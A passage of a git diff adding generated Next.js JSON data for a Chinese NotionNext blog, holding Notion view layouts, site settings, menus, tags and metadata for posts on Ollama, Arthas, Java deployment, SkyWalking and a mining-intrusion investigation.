0","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-8.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-8.json
new file mode 100644
index 000000000..68c6f04f2
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-8.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 